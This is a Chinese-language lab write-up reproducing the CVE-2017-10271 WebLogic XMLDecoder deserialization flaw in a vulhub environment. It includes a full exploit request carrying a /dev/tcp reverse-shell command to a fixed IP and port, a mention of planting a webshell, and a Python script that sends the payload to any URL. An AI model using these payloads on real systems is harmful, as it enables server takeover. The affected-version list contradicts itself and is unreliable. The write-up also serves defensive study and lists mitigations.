1 漏洞概述
CVE-2017-10271 是一个存在于 Oracle WebLogic Server 10.3.6 以下版本中的 XMLDecoder 反序列化漏洞。此漏洞源于 WebLogic 的 WLS-WebServices 核心组件,该组件使用 XMLDecoder 来解析用户传入的 XML 数据。由于 XMLDecoder 在处理某些特定格式的 XML 数据时存在反序列化漏洞,攻击者可以构造恶意的 XML 数据来触发该漏洞,从而执行任意命令,获取服务器权限。
2 漏洞原理
该漏洞的产生主要是由于 WebLogic 的 WLS Security 组件在对外提供 WebService 服务时,使用了 XMLDecoder 来解析用户传入的 XML 数据。在解析过程中,如果 XML 数据中包含恶意构造的 Java 对象表达式,XMLDecoder 会尝试将其反序列化为 Java 对象并执行。由于 XMLDecoder 在处理某些特定格式的数据时存在安全漏洞,攻击者可以构造恶意的 XML 数据来触发该漏洞,从而执行任意命令。
3 漏洞影响范围
该漏洞影响 Oracle WebLogic Server 10.3.6 以下版本,具体包括但不限于 10.3.6.0.0、12.2.1.1.0、12.2.1.2.0、12.1.3.0.0 等版本。
4 靶场搭建
进入漏洞文件 cd vulhub/weblogic/CVE-2017-10271/ 启动漏洞环境 docker-compose build docker-compose up -d 查看端口 docker-compose ps
访问 ,您将看到页面,表示环境正在成功运行。
5 漏洞复现
burp抓包修改为以下内容
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: your-ip:7001 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: text/xml Content-Length: 633 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.4.0" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/192.168.135.132/4444 0>&1</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
成功获取shell:
写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):
6 使用python脚本探测漏洞
#!/usr/bin/env python import requests print(" 注意:本代码仅用于实验和学习目的,请谨慎使用") url = input("请输入目标URL:") check_url = '/wls-wsat/CoordinatorPortType' headers = {'User-Agent':'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)','Content-Type':'text/xml' } payload = ''' <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>ping d4bqi6.dnslog.cn </string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/> </soapenv:Envelope> ''' response = requests.post(url+check_url, data=payload,headers=headers) if response.status_code == 500:print('命令已经执行') else:print('error')
结果
7 漏洞防御
为了防御该漏洞,可以采取以下措施:
-
升级 WebLogic 到最新版本,以修复已知的安全漏洞。
-
限制对 WebLogic 的访问权限,仅允许受信任的用户或 IP 地址进行访问。
-
使用防火墙或其他安全设备来监控和过滤进入 WebLogic 的网络流量,以防止恶意数据的注入。
-
定期备份和恢复 WebLogic 的配置文件和数据,以便在发生安全事件时能够迅速恢复系统。
六、总结
CVE-2017-10271 是一个严重的安全漏洞,攻击者可以利用该漏洞执行任意命令并获取服务器权限。为了防御该漏洞,建议升级 WebLogic 到最新版本,并采取相应的安全措施来限制对 WebLogic 的访问权限和监控网络流量。